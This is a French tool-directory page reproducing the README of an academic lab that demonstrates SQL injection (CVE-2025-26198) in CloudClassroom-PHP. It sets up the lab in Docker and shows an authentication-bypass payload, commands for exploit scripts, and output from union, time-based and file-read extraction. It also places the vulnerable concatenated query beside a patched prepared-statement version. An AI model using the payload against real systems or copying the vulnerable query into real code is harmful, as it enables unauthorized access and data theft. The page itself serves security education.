Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-26198 — Reproduction académique de CVE-2025-26198 injection SQL avec quatre techniques d'exploitation (boolean, union, time-based, file read) et comparaison de versions corrigées pour l'éducation en cybersécurité. | Kitploit
Outils/GitHubGitHub/wailyacoubi9/cve-2025-26198
Analyse des VulnérabilitésExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationSécurité des Bases de Données
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

Reproduction académique de CVE-2025-26198 injection SQL avec quatre techniques d'exploitation (boolean, union, time-based, file read) et comparaison de versions corrigées pour l'éducation en cybersécurité.

Voir le dépôt
il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-26198 - SQL Injection Demonstration

Projet académique ENSIMAG - Sécurité 3A
Auteurs : Wail Yacoubi, Mohammed-Yassine Akhmari
Date : Janvier 2026


Avertissement

Ce code est intentionnellement vulnérable à des fins éducatives.
Ne jamais déployer en production.


Description

Reproduction de CVE-2025-26198 : SQL Injection critique dans CloudClassroom-PHP-Project v1.0.

Caractéristiques de la CVE :

  • Identifiant : CVE-2025-26198
  • Score CVSS : 9.8/10 (Critique)
  • Type : SQL Injection (CWE-89)
  • Composant vulnérable : loginlinkadmin.php
  • Impact : Bypass authentification + extraction complète BDD

Référence officielle : https://nvd.nist.gov/vuln/detail/CVE-2025-26198


Objectif

Démontrer 4 techniques d'exploitation SQL Injection :

  1. Boolean-based - Bypass d'authentification
  2. Union-based - Extraction de données
  3. Time-based Blind - Détection par délai
  4. File Read - Lecture fichiers système

Installation

Prérequis

  • Docker et Docker Compose
  • Python 3.x
  • Installer requests : pip install requests

Démarrage

root@kitploit:~
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

L'application est accessible sur http://localhost:8081


Exploitation

Méthode 1 : Manuel (navigateur)

  1. Aller sur http://localhost:8081

  2. Remplir le formulaire :

    • Username : admin' OR '1'='1'-- -
    • Password : anything
  3. Cliquer sur Login

Résultat : Connexion admin réussie sans mot de passe valide.

Explication :

Le payload transforme la requête SQL :

root@kitploit:~
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

Le OR '1'='1' est toujours vrai, et -- - commente le reste.


Méthode 2 : Scripts Python

Script simple

root@kitploit:~
python exploit_simple.py http://localhost:8081

Output attendu :

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

Script complet (4 techniques)

root@kitploit:~
python exploit.py http://localhost:8081

Output attendu :

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

Version patchée

Tester la version sécurisée avec prepared statements :

root@kitploit:~
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

Résultat attendu :

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

L'attaque est bloquée par la validation des inputs et les prepared statements.

Remettre la version vulnérable :

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

Comparaison des versions

Code vulnérable :

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

Code sécurisé :

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

Structure du projet

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

Dépannage

Container web ne démarre pas

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

Exploit ne fonctionne pas

root@kitploit:~
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php

Port déjà utilisé

Modifier docker-compose.yml :

root@kitploit:~
ports:
  - "8082:80"

Documentation

Voir RAPPORT.md pour l'analyse détaillée incluant :

  • Mécanisme de la vulnérabilité
  • Architecture système
  • Recommandations de sécurisation
  • Bonnes pratiques développement

Références

  • CVE officielle : https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • Projet original : https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection : https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO : https://www.php.net/manual/en/pdo.prepared-statements.php

Disclaimer

Projet développé uniquement à des fins éducatives dans le cadre du cours de cybersécurité ENSIMAG.

Utilisation autorisée :

  • Apprentissage et formation
  • Tests sur environnements autorisés

Utilisation interdite :

  • Attaques sur systèmes réels
  • Utilisation malveillante

Toute utilisation en dehors du cadre académique est strictement interdite et illégale.


Auteurs
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Promotion 2026
Cours : Sécurité 3A

Télécharger l’outil
AspectVersion VulnérableVersion Patchée
Requête SQLConcaténation directePrepared statement PDO
Validation inputAucuneRegex alphanumerique
Échappement outputNonhtmlspecialchars()
SQL InjectionExploitableBloqué
LogsAucunerror_log()